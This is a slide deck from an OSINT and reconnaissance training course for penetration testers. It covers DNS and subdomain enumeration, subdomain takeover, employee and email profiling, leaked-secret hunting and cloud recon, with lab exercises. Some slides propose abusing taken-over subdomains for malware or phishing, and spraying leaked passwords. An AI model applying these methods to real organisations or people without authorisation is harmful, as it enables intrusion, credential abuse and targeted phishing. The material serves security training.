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About RedHunt Labs

IT Security Company with focus on using OSINT to improve overall security posture.

● Product
○ nVAdr - Automated Asset Discovery and Security Posture Assessment using OSINT

● Consulting
○ Information Security Solutions
○ Custom security assessments and defensive guidance.
○ OSINT as a Service (OaaS)

● Trainings (Conferences and Private Trainings)
○ Hybrid Cloud Pentesting
○ Tactical OSINT For Pentesters
○ OSINT for Defenders
○ OSINT 101
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Know your Trainers
● Shubham Mittal

○ Director at RedHunt Labs

○ BlackHat Asia CFP Review Member

○ Co-Founder - Recon Village (DEFCON China and DEFCON USA)

○ Project Lead - DataSploit

○ 7+ Years Experienced Security Engineer

○ Expertise with Offensive Security, Perimeter Security, OSINT

○ Speaker/Trainer/Presenter - BlackHat, DEFCON, Nullcon, c0c0n, IETF

○ Bike Rider, Beat Boxer

○ Twitter: @upgoingstar
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Know your Trainers
● Sudhanshu Chauhan

○ Director at RedHunt Labs

○ Co-Founder - Recon Village (DEFCON China and DEFCON USA)

○ Project Lead - RedHunt OS

○ Co-Author ‘Hacking Web Intelligence’

○ 6+ Years Experienced Security Consultant

○ Expertise with Offensive Security and OSINT

○ Speaker/Trainer/Presenter - BlackHat US/Asia, AppSec EU, GroundZero Summit, etc.

○ Cyclist

○ Twitter: @sudhanshu_C
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Know your Support Trainer
● Chandrapal

○ Founder ‘Hack with GitHub’

○ GSOC 2017, Metasploitable3

○ Bug Bounty Hunter & Security Researcher

○ Open Source Security Enthusiast 

○ Contributor to multiple Open Source tools:

■ Android Tamer, Datasploit

○ Twitter: @bnchandrapal
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Know the Training Program
● Blend of Hands-on and Lecture Style.

● Virtual Companies, Websites, Employees etc. Decoy Accounts to practise OSINT.

● Lab Access for a month.

● Open source tools, Free tools, Free Services and Custom Scripts will be used.

● OSINT on public sources

● Attack only on carbonconsole.com and its associated resources. In case of any 

confusion, please ask help from the trainers/support staff, instead of taking an 

action.
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How to Practise
● Domain/Company OSINT on the virtual organizations.

● User/Email OSINT on virtual employees and profiles. 

● Use information extracted from OSINT to compromise/attack machines in the 

private lab. 

● Lab Access will expire on 28th April 2019. 
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Student Kit
● USB Contains a OVA file 

○ VirtualBox Appliance
○ Import it, and power-on the OSINT VM
○ Contains all configured Tools
○ Browser with OSINT Bookmarks and Addons

● VirtualBox Installers
● SlideDeck
● Solutions to the Exercises
● OSINT CheatSheet
● Data Collection Template
● Go back with the flash drive, it’s all yours :) 
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Know your VM
● VirtualBox Appliance

● Username: bhasia, Password: bhasia

● We suggest you to change the password after first login

● All tools reside in ~/Tools Folder.

● “Oh My ZSH” shell enabled with AutoCompletion.
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Know your VPN
● VPN files are present in the /home/bhasia/VPN folder within the VM.

● Follow the steps in file VM_VPN_Instruction_Sheet_BHASIA.pdf and use the 

credentials in your handout.

● Once connected, verify by visiting the website http://carbonconsole.com/.

● Resource associated with CarbonConsole will only be accessible through VPN, so 

make sure you are connected to the VPN, before using any tool.

http://carbonconsole.com/
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Know your Lab
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Disclaimer
● We do not encourage you to perform any illegal activity with the skills learnt in this 

program. Please do OSINT and Attack, but for legit and good purposes, legally. 

● We do not take responsibility for any legal issue arising on your end, while using 

any third party services or tools. 

● Take permissions from the target and the third-party service providers before 

launching any attack.
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Content
● Mapping the Attack Surface

○ Enumerating target organization's digital assets like IPs, (sub)domains, social media 
accounts, code repositories etc.

● Enriching OSINT Data
○ Analyzing identified assets and generating actionable intelligence out of raw data.

● Attacking and Exploitation
○ Utilizing the enriched data to launch targeted attacks (no exploits) and compromising 

Business Communication Infrastructure.
○ Attacking network services, compromising cloud instances, exploiting hidden injection 

points to reach internal domain environment.
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Content
● Practical Social Engineering

○ Profiling the target users and launching targeted attacks through various avenues.

● Post Exploitation, Lateral Movement & Persistence
○ Escalating privilege, moving with the internal infrastructure and maintaining access.
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Data, Information and Intelligence

● Data: A set of values about a particular subject.

● Information: Processed and organised data which has relevance in terms of a 
particular context.

● Intelligence: Evaluated and analysed information for a particular objective.
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Why OSINT?

● Map the attack surface and identify useful information about the target.

● Collect information leading to targeted attack and quick pwnage.

● Discover target technology stack and potential attack vectors.

● Identify human targets and be ready with the phishing pre-text.
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Why OSINT

Reference: https://twitter.com/michenriksen/status/953616091368099840
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Why OSINT
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Types Of INTELLIGENCE

● HUMINT - Human intelligence—gathered from a person on the ground.
● GEOINT - Geospatial intelligence—gathered from satellite, aerial photography, 

mapping/terrain data.
● MASINT - Measurement and signature intelligence.
● OSINT - Gathered from open sources.
● SIGINT - Signals intelligence—gathered from interception of signals
● TECHINT - Technical intelligence—gathered from analysis of weapons and 

equipment used by the armed forces of foreign nations, or environmental 
conditions.

● CYBINT/DNINT - Cyber Intelligence/Digital Network Intelligence—gathered from 
cyberspace.

● FinINT - Financial intelligence—gathered from analysis of monetary transactions.
 
 
 
 

https://en.wikipedia.org/wiki/Cyberspace
https://en.wikipedia.org/wiki/Cyberspace


© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

OSINT Source

● Search Engines
● Social Media Platforms
● File Sharing Websites
● Blogs
● Forums/IRC 
● APIs
● Domain Discovery Tools
● Public/Government Data Sites
● News Websites
● MetaData in Files
● Many More...
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Possible Output

● Domains/Sub-Domains
● IP Addresses
● Open Ports and Services
● Emails
● Leaked Credentials/Keys/Tokens
● Technology Stack
● Usernames
● Known Vulnerabilities
● Exposed Cloud Storage
● Compromised Organization
● Much More...
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Mapping the Attack Surface
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In this module we’ll learn about:

● Organization IP Mapping
● Subdomain Enumeration
● Organization’s Social Media Profiling
● Identifying Organization’s Associations
● Hunting Code Repositories, Dark Web, Paste(s) Sites and Leaked Data
● Employee(s) Profiling
● Cloud Recon
● Art of Making Notes
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Digital Asset Scoping and Basic Terminologies
Most of the modern organizations have multiple digital assets which are publicly 

exposed. Some of these assets are pretty evident, such as company website, however 

a few are not so obvious such as cloud storage (S3 buckets), API tokens etc.

Some such assets are:

● Domains/Subdomains

● IP Ranges

● DNS Records

● Cloud Storage
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Digital Asset Scoping
Process of identifying and scoping digital assets for a given organization.

● WhoIs (who.is) > ASN ID

● Reverse WhoIs

● Nslookup (terminal)

● Dig (terminal)

○ dig datasploit.info cname

○ dig datasploit.info A

● MX ToolBox
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WhoIs
Whois is a service which allows to find information about the registrant of an internet 

resource such as a domain name (e.g carbonconsole.com). 

Whois.net provides a web platform using which we can perform a Whois search for a 

domain or IP address. A whois record usually consists of registrar info such as date of 

registration and expiry; registrant information such as name, etc.

Similarly the command ‘whois’ present in *nix based systems can also be used to 

perform whois queries. E.g. whois carbonconsole.com
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WhoIs and WhoIs History
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dig datasploit.info cname dig datasploit.info A

Resolving Domains

⇒  datasploit.info is owned by us. 
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Dig Options
● dig redhat.com

● dig redhat.com  MX +noall +answer

● dig redhat.com +nocomments +noquestion 

+noauthority +noadditional +nostats

● dig -x 209.132.183.81

● dig @ns1.redhat.com redhat.com

● dig -f names.txt +noall +answer

● dig redhat.com -t axfr
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ASN ID and Reverse WhoIS Lookup

⇒ *.uber.com has a public bug bounty.
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Online Domain Tools
● Bunch of Domain Tools available:

○ Viewdns

○ Securitytrails

○ MXToolBox

○ Netcraft

○ Who.is



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

Securitytrails - Domain Information
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Identifying Neighbours of a Domain
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Lab Exercise 1
● Find IP Address and Cname records for news.yandex.com.

● Identify ASN ID for the any of the IP Addresses found.

● Find the range of IP Addresses assigned to this ASN ID.
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Domain IP History

• 
• 
• 

http://viewdns.info/iphistory/ 

http://viewdns.info/iphistory/
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Reverse Whois Lookup

●

https://viewdns.info/reversewhois  

https://viewdns.info/reversewhois
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Project Sonar Forward DNS Reports
● Project Sonar is a security research project by Rapid7.

● Conducts internet-wide surveys across different services and protocols.

● Insights into global exposure to common vulnerabilities.

● Data collected is available to the public in an effort to enable security research.
○ https://scans.io/ 

● A JSON interface to the repository is available.

○ https://scans.io/json 

● Opt-Out option is available.

https://scans.io/
https://scans.io/json
https://scans.io/json
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Latest Data: 

https://opendata.rapid7.com/sonar.fdns_v2/

Project Sonar Forward Data

https://opendata.rapid7.com/sonar.fdns_v2/
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Subdomain Enumeration
A subdomain is basically a domain, which is part of a larger domain (e.g. abc.example.com)

Art of extracting subdomains for a given Domain. But why? 

● DevOps has made deployment blazing fast, so more subdomain(s).

● Admins forget about Legacy subdomain(s).

● All subdomains not as hardened as primary sub-domains.

● Might be running Enterprise Inventories with weak passwords, Admin panels with 

default creds, Unpatched softwares, vulnerable third party softwares/services, etc.

● Easier to gain network access. 
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Subdomain Enumeration Techniques
● Search Engines (Google/Yahoo/Bing/Yandex)

● Recursive IP - Domain History

● Shodan/Censys, CNAME Records, DNS Dumpster, Netcraft, WolframAlpha, 

VirusTotal

● Certificate Transparency Reports

● DNSSEC Walking

● Project Sonar - Forward DNS Reports

● Brute Force
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Search Engines
Google query: 

site:uber.com -www -help -eng -ride -t 

-newsroom -developer -get -drive -track 

-archive -pages -accounts -eats -people 

-click -businesses -partners -movement 

-accessibility
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Reverse IP Lookup
Similar to Domain to IP lookup we 

can also do IP to Domain lookup.

Using this technique we can identify 

other sites sharing the same hosting 

server. In some situations these 

other sites could be subdomains of 

the target domain or associated 

directly with it.
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Reverse IP Lookup
Another way to utilize reverse IP lookup is to first find the domain IP history and then 

perform a reverse IP lookup on these IPs to get a better coverage.
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Certificate Transparency Reports - Overview
● Certificate Transparency Project by Google.

● Open framework for monitoring and auditing SSL certificates in nearly real time.

● Certificates contains hostname; Can be used as source for enumerating 

subdomains.

● Facebook’s CT tool - Monitor and alert as a new subdomain comes up. 
○ Wait, are you a bug bounty hunter? 

● Not only subdomains, but also related/acquired domain information can be 

extracted.
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Google Cert Transparency Reports

https://transparencyreport.google.com/https/certificates 

https://transparencyreport.google.com/https/certificates


© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

Custom Script - Cert Transparency Reports

⇒  *.uber.com has a public bug bounty.

● Following applications/tools can also be 

used for enumeration:
○ https://www.google.com/transparencyreport/https/

ct/

○ https://developers.facebook.com/tools/ct/

○ https://censys.io/

○ https://crt.sh/

○ Ct-exposer: 

https://github.com/chris408/ct-exposer 

https://www.google.com/transparencyreport/https/ct/
https://www.google.com/transparencyreport/https/ct/
https://developers.facebook.com/tools/ct/
https://censys.io/
https://crt.sh/
https://github.com/chris408/ct-exposer
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CertGraph
● Queries certification transparency reports.

● Generates a JSON / Text output. 

● Can be exported to https://lanrat.github.io/certgraph 

⇒  *.simple.com has a public bug bounty.

https://lanrat.github.io/certgraph
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Netcraft Domain Finder

● Finds domains/subdomains 

which have a specific string, 

e.g. “.uber.com”.

⇒ Notice the dot(.)

⇒ *.uber.com has a public bug bounty. https://searchdns.netcraft.com/ 

https://searchdns.netcraft.com/
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IP Domain History (Recursive)
● List of Domains that resolved to a 

specific IP Address (in the past).

https://www.virustotal.com/#/ip-address/104.36.192.208 

⇒ *.uber.com has a public bug bounty.

https://www.virustotal.com/#/ip-address/104.36.192.208
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SubDomain Bruteforce
● When nothing works, bruteforce does.

● Bunch of tools available.
○ SubBrute: https://github.com/TheRook/subbrute 

○ Massdns: https://github.com/blechschmidt/massdns

○ SubList3r: https://github.com/aboul3la/Sublist3r 

○ dnsrecon -D:  https://github.com/rbsec/dnscan 

○ aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com: https://github.com/blark/aiodnsbrute

○ Nmap Script: --script dns-brute

nmap --script dns-brute --script-args 

dns-brute.domain=uber.com,dns-brute.threads=10,dns-brute.hostlist

=names.txt

https://github.com/TheRook/subbrute
https://github.com/blechschmidt/massdns
https://github.com/aboul3la/Sublist3r
https://github.com/rbsec/dnscan
https://github.com/blark/aiodnsbrute
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Tool in Action
● Aiodnsbrute
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DNSSEC Walking
● The Domain Name System Security Extensions (DNSSEC) is a suite of 

specifications for securing certain kinds of information provided by the Domain 
Name System (DNS).

● DNSSEC can maintain list of things that exist in a DNS zone and is created by 
the NSEC or NSEC3 records.

● NSEC records allows anyone to list this zone content and this is called as 'zone 
walking'. The 'ldns' library can be used for this.

○ ldns-walk hiphop
○ ldns-walk @8.8.8.8 hiphop
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DNSSEC Walking



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

Project Sonar
Project Sonar is a security research project by Rapid7. It conducts internet wide 

scans to collect information related various services and protocols. The collected data 

is freely available for public to explore.

● https://opendata.rapid7.com/about/ 

● Command to query bufferover.run for subdomains (uses project sonar data): 

○ curl -fsSL "http://dns.bufferover.run/dns?q=.tesla.com" | jq -r '.FDNS_A[],.RDNS[]' | 

awk -F ',' '{print $2}' | sort -u

Reference: https://twitter.com/nullenc0de/status/1095030391629598721

https://opendata.rapid7.com/about/
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Bufferover.run: Project Sonar
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Tool in Action
● python domain/domain_subdomains.py <domain>

● python datasploit.py -i <domain/email/username>
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Subdomain Enumeration Tools
● SubBrute: https://github.com/TheRook/subbrute

● MassDNS: https://github.com/blechschmidt/massdns

● DNS Names List:
○ https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056

● Sublist3r: https://github.com/aboul3la/Sublist3r

● TurboList3r: https://github.com/fleetcaptain/Turbolist3r

● DataSploit: https://github.com/datasploit/datasploit

● Findsubdomain: https://findsubdomains.com/

● SecurityTrails: https://securitytrails.com/

● Aiodnsbrute: https://github.com/blark/aiodnsbrute

https://github.com/TheRook/subbrute
https://github.com/blechschmidt/massdns
https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056
https://github.com/aboul3la/Sublist3r
https://github.com/fleetcaptain/Turbolist3r
https://github.com/datasploit/datasploit
https://findsubdomains.com/
https://securitytrails.com/
https://github.com/blark/aiodnsbrute
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Lab Exercise 2
● Identify subdomains for carbonconsole.com using brute-forcing technique.

● Identify subdomains for yandex.com using Certificate Transparency Reports.

● Identify all the subdomain for carbonconsole.com and yandex.com using any 

subdomain enumeration technique.
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Subdomain Takeover
● A subdomain points to a third party Integration.

○ Eg. blog.abc.com points to abc.wordpress.com (or any other cloud providers, like AWS, Azure, 

github, etc.)

● If such a sub-domain is not claimed or it has expired or the subscription has 

cancelled, an attacker can claim it and host content. 
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Subdomain Takeover
● Every cloud provider has a different mechanism of mapping domains. 

● Github asks to setup a repo with following name
○ username.github.io 

● CNAME is then pointed to the same. 

● If repository do not exist, anyone can claim the same.

● A list of services which can be vulnerable to Subdomain Takeover:
○ https://github.com/EdOverflow/can-i-take-over-xyz 

https://github.com/EdOverflow/can-i-take-over-xyz
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Exploitation Scenarios: Subdomain Takeover
● Identify a subdomain pointing an unclaimed/expired service subdomain.

● Claim the service subdomain to:
○ Host malware and abuse the trust.

○ Run Phishing / Spear phishing campaign by hosting content via acquired subdomain

○ Launch an XSS attack and extract sensitive information

○ Bypass authentication in a scenario where the cookies from the authentication portal are 

shared with subdomains (*.example.com). E.g. Uber https://hackerone.com/reports/219205 

https://hackerone.com/reports/219205
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Lab Exercise 3
● Identify a subdomain of carbonconsole.com which is using a third party 

integration. 

● Take over the subdomain (if vulnerable)
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Organization Profiling
● There are multiple public portals which reveal plethora of information about an 

organization's structure, job offerings, government filings, employee review, supply 

chain etc. 

● This information though vague/partial at time, can help a dedicated attacker to 

craft a very targeted attack. 
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Organization Profiling Sources
● Google

● Wikipedia

● Opencorporates

● Crunchbase

● ZoomInfo

● Board of Directors
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Board of Directors Research
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OpenCorporates
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Companies Registry Documents
● For UK:

https://beta.companieshouse.gov.uk/ 

● For any country outside UK:

https://www.gov.uk/government/publications/overseas-registries/overseas-reg

istries#registries-in-the-united-states-of-america 

https://beta.companieshouse.gov.uk/
https://www.gov.uk/government/publications/overseas-registries/overseas-registries#registries-in-the-united-states-of-america
https://www.gov.uk/government/publications/overseas-registries/overseas-registries#registries-in-the-united-states-of-america
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Companies Registry Documents



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

CrunchBase and ZoomInfo
● Portals to get rich information about an organization.

● Company Emails, Directors, Founders, etc. 

● Acquisitions, Investments, etc.
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CrunchBase
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Glassdoor
● Glassdoor though appears to be a 

job search portal, can provide 

details like employee reviews, 

salary details, technology stack 

etc.

● Some of the sensitive information 

that Glassdoor can reveal:
○ Badges

○ Dress Code

○ Office Location/Infrastructure
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Miscellaneous Source
Other sources to extract company information:

● Company Blogs (blog.example.com, 

example.com/blog).

● Company Support Forums (forum.example.com, 

support.example.com, example.com/forum, 

example.com/support, example.com/support/forums).

● Company partners page (example.com/partner, 

example.com/partners, inurl:partner 

intext:example.com -site:example.com)
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Supply Chain Attack
Companies often use different vendors for different services (e.g. email, HVAC, etc). Some of 

these vendors might have certain access to the organisation to deliver their services (e.g. access 

to a building, VPN etc.). The organisation using such services might be pretty well secured 

however the vendor providing them service might not be and could become the weak link in the 

chain. 

Third-party vendors might not be part of the scope for most of the assessments, however they 

need to be considered and included in the threat modelling exercise. Such vendors can be 

identified mostly from the ‘Our Clients’ section in the vendors’ websites. (inurl:client 

intext:companyname -site:company.com).

Food for Thought: Are there any associated domains of carbonconsole.com?
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Case Study: Target Supply Chain Hack
● Target hired a HVAC company ‘Fazio Mechanical Services’ for maintenance of 

heating and air systems.

● The company was provided VPN access to Target’s network.

● Attackers broke into the vendor’s network and gained access to VPN credentials.

● Utilizing the stolen credentials attackers were able to access Target’s network and 

find weaknesses in their network. 

● On further exploitation they were able to extract sensitive information such as 

Credit Card details and PII.

Reference: https://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company/
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Social Media Search 
Searching for individual/company/product on social media websites can reveal 
information helping an attacker craft an attack strategy against specific targets.

Most of the social media platforms provide advanced search feature to perform 
granular and targeted search.

● LinkedIn
● Facebook 
● Twitter
● Instagram
● Reddit
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Social Media Search: Linkedin
Advanced Filters:

● Connection Of

● Location

● Past / Current Companies
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Social Media Search: Linkedin
Linkedin being a professional networking platform can have multiple information about 

an organization and its employees: 

● Company Website

● Number of Employees (approx.)

● Employee Profiles (Full Name, Photo, Designation, Profile/Technology, Email etc.)

● Jobs

● Conferences/Events they are attending
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Social Media Search: Linkedin
Advanced Queries

● Parenthesis
● AND
● OR
● Quotes
● NOT

Example:
((abc OR “xyz pqr”) AND (foo OR 
abcdef or bar)) NOT blah
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Social Media Search: Facebook Graph Search
Extracting employer/employee accounts in Facebook:

● Extract account ID using: 
○ https://findmyfbid.in/

● Extract Employers (current/past) of a user: 
○ https://www.facebook.com/search/<ACCOUNT_ID>/employers

● Extract Current Employees Profiles:
○ https://www.facebook.com/search/str/<ACCOUNT_ID>/employees/present

● Extract Past Employees Profiles:
○ https://www.facebook.com/search/str/<ACCOUNT_ID>/employees/past
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Social Media Search: Facebook Graph Search
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Social Media Search: Twitter 

Location Based Search:
https://twitter.com/search?l=&q={keyword} near:"{location}" 
within:{distance}&src=typd

Query:
bhasia near:"Singapore" within:15mi
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Social Media Search: Twitter 
Twitter Advanced Search: https://twitter.com/search-advanced?lang=en
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Sensitive Information Leakage

Many times sensitive information about the 

organization is revealed unintentionally. Some 

examples are:

○ Secret keys/tokes/credentials in source code

○ Breach Dumps on pastebin

○ Confidential documents present on company 

websites
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Find Sensitive information in Code Aggregators 

● What can you find?

○ Private Keys/Creds/API 

Tokens/Server Connection 

Strings/Internal Paths/ Tech 

Stacks
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What / Why?
● Developers / Admins push code to github/etc. 

● Code contains sensitive information (passwords, connection strings, API keys, etc.)

● When pointed, they delete the sensitive info. 

● Code history is maintained using Commits. 
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Most Popular Code Aggregators
● Github

● Gist 

● Gitlab

● Bitbucket
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Case Study: Homebrew Git Commit Access
● The researcher went through the disclosed issues on HomeBrew at hackerone 

https://hackerone.com/Homebrew and found that homebrew was using a Jenkins 

server at https://jenkins.brew.sh./.

● On exploring the Jenkins portal, the researcher found that authenticated pushes 

were being made to the BrewTestBot/homebrew-core Github repository.

● On further exploration the research found that the environment variables in 

Jenkins revealed a valid ‘HOMEBREW_GITHUB_API_TOKEN’.

● The token allowed the researcher to commit to Homebrew/brew, 

Homebrew/homebrew-core and Homebrew/formulae.brew.sh.
Reference: https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab

https://hackerone.com/Homebrew
https://jenkins.brew.sh./
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Github Search
● https://github.com/search?utf8=✓&q=<keyword>&type= 

● Can search Code/Commits/Issues/Topics/Wikis/Users

● Filters on Programming Languages

● Login is required to perform search. 

● Cheatsheet:

https://github.com/search?utf8=%E2%9C%93&q=
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Github Advanced Search
● https://github.com/search/advanced?q=hl 

https://github.com/search/advanced?q=hl
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Github Organization
● Find an organization though GitHub 

search.

● List the users in the organization:
○ https://github.com/orgs/<ORGANIZATION_NA

ME>/people
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Github Gists 
● Share single files, parts of files, or full applications.  

● https://gist.github.com

● Two types:
○ Public

○ Secret 

● Anyone with link to secret gists can access them.

https://gist.github.com
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How to search others?
● Google > site:bitbucket.org

● https://gitlab.com/search

https://gitlab.com/search
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Github Search Tools?
● Trufflehog 

https://github.com/dxa4481/truffleHog

● Repo Supervisor 

https://github.com/auth0/repo-supervisor

● Gitrob 

https://github.com/michenriksen/gitrob

● Tool for the Github Search Tools
○ Git All Secrets 

https://github.com/anshumanbh/git-all-secrets

https://github.com/dxa4481/truffleHog
https://github.com/auth0/repo-supervisor
https://github.com/michenriksen/gitrob
https://github.com/anshumanbh/git-all-secrets
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TruffleHog
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Source Code Search Engines
● Nerdy Data (https://nerdydata.com/ )

● PublicWWW (https://publicwww.com/ )

● Search Code (https://searchcode.com/ )

● Stack Overflow (https://stackoverflow.com/search )

https://nerdydata.com/
https://publicwww.com/
https://searchcode.com/
https://stackoverflow.com/search
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Lab Exercise 4
● Identify the GitHub account for CarbonConsole.

● Identify any passwords, hashes, users related to CarbonConsole.com on gist, 

pastebin, etc.

● Identify a user who has unintentionally leaked some information. 

● Identify the leaked information. 
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Searching Disclosure / Pastebin Websites
● Many websites provide functionalities to post anonymous texts. 

○ Pastebin / Pastie, Psbdmp, etc.

● Hackers /  Developers use them as their playgrounds. 
○ Hacked Passwords are dumped.

○ Keys / Email / Phone numbers / Salts /  etc. can be found. 

● Full Disclosure Websites
○ http://seclists.org/fulldisclosure/ 

● Open Bug Bounties
○ https://www.openbugbounty.org/ 

http://seclists.org/fulldisclosure/
https://www.openbugbounty.org/
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Searching Paste(s) 
● https://inteltechniques.com/osint/pastebins.html 

https://inteltechniques.com/osint/pastebins.html
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Pastebin Automated Search
DataSploit  

Domain Pastes Module
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Open Bug Bounty
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Searching Dark Web
● Dark web is a portion of Deep Web (unindexed web) which can’t be accessed with 

a standard browser. It requires connection to a specialised network, most popular 

of which is TOR.

● TOR network (.onion domains) can be accessed using a TOR browser or through 

a TOR 2 Web Proxy such as https://www.tor2web.org.

https://www.tor2web.org
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Example of some TOR sites:

● http://zqktlwi4fecvo6ri.onion/wiki/index.ph

p/Main_Page

● http://xfmro77i3lixucja.onion/

● http://xmh57jrzrnw6insl.onion/

TOR Search Engines List:

● https://www.notion.so/TOR-Search-Engin

es-7b6a20b5ddf342c183f9c654fc7b6c25

Searching Dark Web

http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page
http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page
http://xfmro77i3lixucja.onion/
http://xmh57jrzrnw6insl.onion/
https://www.notion.so/TOR-Search-Engines-7b6a20b5ddf342c183f9c654fc7b6c25
https://www.notion.so/TOR-Search-Engines-7b6a20b5ddf342c183f9c654fc7b6c25


© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

TOR Search Engine: Torch

● https://xmh57jrzrnw6insl.onion

TOR Gateway: Onion.to

● https://onion.to/
○ https://xfmro77i3lixucja.onion.to/

Searching Dark Web

https://xmh57jrzrnw6insl.onion
https://onion.to/
https://xfmro77i3lixucja.onion.to/
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People Enumeration
Identifying the users/employees of an organisation. But why? 

● Users are the weakest link in the security chain.

● Users are prone to revealing sensitive information about the organisation.

● BYOD and Usage of Social media significantly increases the attack surface.

● Spear Phishing attacks.
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People Enumeration
Multiple Avenues

● User emails - Hunter.io, LinkedIn, Pattern based guessing

● Usernames - Web Portals, Metadata (Foca)

● Social Media Accounts - Datasploit

● User preferences and interests - Social Media Accounts

● Leaked Passwords - Pastebin, DumpSites
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People Enumeration
● Identify Emails using Maltego - Using multiple techniques such as Whois, using 

search engine, PGP key server etc. 
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People Enumeration
● Identify Emails using Hunter.io 

● Email Harvesting via Search Engines
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Automated Email Harvesting
● DataSploit

○ domain/domain_emailhunter.py
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Lab Exercise 5
● Find out Email Addresses associated with the domain simple.com 
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Find email using LinkedIn
● Rich Source, almost everyone updates 

their profile. 

● Addon - Skrapp

● Add as connection and download your 

profile data.
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Find email using LinkedIn
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Email Generator
● Find Employee names from Linkedln, etc. 

● Create patterns:
○ Firstname.lastname

○ First letter of firstname.lastname, etc.
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Email to Username
● Search email on multiple Social

Media websites.

● Facebook Email Search

● FullContact / Clearbit

● DataSploit:
○ emailOsint.py
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User Profiling - Email address to Twitter Account
● Twitter does not allow searching for user accounts with email addresses

● Can be bypassed though.

● Add contact in Gmail, and Import. 
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Twitter - What’s possible to find?
● Profession

● Friends

● Employer

● Geo-Location

● Email Address

● Sleeping Activity

● Active / Busy Days

● City

● Devices

● Domains
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Tweet Analyzer
● Analyze a Twitter profile through its tweets.

● tweets_analyzer.py -n <screen_name>
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KeyBase
● Public key crypto for everyone, publicly auditable proofs of identity.

● Users verify their information.
○ So 100 % Verified Information
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Password Dump
● Searching different paste sites for a 

usernames, may also lead to 

password dumps.

● The identified hash/password from 

such dumps can be used to spray on 

other platforms.
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Cloud Recon
A range of cloud based services are available today, and most of the organizations use 

one or the other such cloud services, be it for their communication requirements, data 

storage, infrastructure or file sharing.

Quite often these external services are integrated with the internal network in some 

shape or form. If any of these services are compromised, they might lead an attacker 

directly into the organization’s network.

Enumerating the DNS records is one of the best ways to identify such services, used 

by an organisation.
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Business Communication Infrastructure (BCI) is the backbone of every organization’s 

information exchange structure. BCI can comprise of the services like email, chat, 

meeting, file sharing, calendar etc. and can become one of the entry point for the 

attackers.

Multiple Options:

● G Suite

● Outlook Web Access (OWA) 

● Slack

Discover Business Communication Infrastructure
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Discover Business Communication Infrastructure
One of the most commonly used cloud service is 

the email service. To enumerate the email service 

provider user by a particular domain, we can 

enumerate their MX records.

● Gmail: *.GOOGLE.com; *.GOOGLEMAIL.com

● Outlook: 

domain-com.mail.protection.outlook.com

● Proofpoint: *.gslb.pphosted.com

● Slack: example.slack.com
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Discover Business Communication Infrastructure
Apart from MX records, TXT records and SPF records can also reveal information 

about the communication channel being used as well as the mail servers that are 

permitted to send email on behalf of a domain.
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Cloud Computing Services
Three major players in the cloud 

computing services:

● Amazon AWS

● Google Cloud Platform

● Microsoft Azure

Such provides offer users services like 

computing platforms, cloud storage, 

database, serverless computing etc.
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Discover Cloud Storage Instances
One major component of Cloud Computing Services is cloud storage and it has 

different names under different vendors:

● AWS: S3 Buckets

● Azure: Blob

● GCP: Google Cloud Storage

● Digital Ocean: Spaces
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Discover Cloud Storage Instances
● AWS: S3 Buckets

https://github.com/jordanpotti/AWSBucketDump

https://buckets.grayhatwarfare.com

● Digital Ocean: Spaces

https://github.com/appsecco/spaces-finder

https://github.com/jordanpotti/AWSBucketDump
https://buckets.grayhatwarfare.com
https://github.com/appsecco/spaces-finder
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Discover Authentication Hosts
Some common domains used for authentication services:

● login.example.com

● sso.example.com 

● adfs.example.com

● auth.example.com

● saml.example.com

● autodiscover.example.com

● example.okta.com
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Cloud Compromise
Common techniques which lead to cloud service compromise:

● Password Reuse

● Compromised third party with access.

● A SSRF/LFI/RCE vulnerability in a hosted application.

● Leaked credentials/tokens

● Social Engineering/Internal User
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Cloud Audit: ScoutSuite
ScoutSuite allows to audit all three 

platforms (AWS, GCP and Azure), 

given that the user has access to 

tokens/keys.

https://github.com/nccgroup/ScoutSuite

 

https://github.com/nccgroup/ScoutSuite
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Cloud Audit Tools
● Cloud Security Suite: https://github.com/SecurityFTW/cs-suite

● Gcp-audit: https://github.com/spotify/gcp-audit

● Pacu: https://github.com/RhinoSecurityLabs/pacu

● SkyArk: https://github.com/cyberark/SkyArk

● Prowler: https://github.com/toniblyx/prowler

https://github.com/SecurityFTW/cs-suite
https://github.com/spotify/gcp-audit
https://github.com/RhinoSecurityLabs/pacu
https://github.com/cyberark/SkyArk
https://github.com/toniblyx/prowler
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Art of Making Notes
While making notes keep in mind the following principles:

● Have a clear objective in mind.

● KISS (Keep it simple, stupid).

● Screenshot or it never happened.

● Over collect but manage the data.

● Don’t miss minute details.
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Art of Making Notes
Some Simple yet Effective Tools:

● SwiftnessX

● Cherrytree

● Notepad++

● MS Excel/Google Sheets

● Skitch/Flameshot

● Asciinema (terminal logging)

● SimpleMind Lite
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Art of Making Notes
Use browser addon Screencastify (Chrome addon) to record your sessions.
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Tool in Action
● Asciinema

○ Start recording: 

asciinema rec fileabc.cast

○ Finish: Ctrl+D OR exit

○ Play Recording: 

asciinema play 

fileabc.cast
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Tool in Action
● Flameshot: 

○ Linux utility to take and edit snapshots.
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Tool in Action: SimpleMind Lite
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Data Collection Template
● IP Addresses

● Domains

● Subdomains

● Technology Stack

● Organization Addresses

● Employee Names

● Email Addresses

● Usernames

● Passwords

● Buckets

● Spaces

● Blobs

● Google Cloud Storage

● API Tokens

● Auth Tokens

● Phone Numbers

● Login Pages

● Services Accepting Creds

● Miscellaneous/Notes
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Lab Exercise 6
● Accumulate all the data collected so far. 

● Arrange the data gathered from OSINT in the provided Template.

● For different targets (carbonconsole.com, yandex.com, simple.com) create 

different worksheet within the template. 
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Enriching OSINT Data
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In this module we’ll learn about:

● Bucket/Blogs/Spaces Pattern Generation
● Tech Stack Profiling
● Capturing Screenshots of Exposed Service
● Port Scanning (Active/Passive)
● Identifying SSO/Login/Admin/VPN Portal(s)
● Explore Breached Password Databases
● Metadata Extraction
● Generating Username/Password Patterns
● Automating CSE for Dork Matching
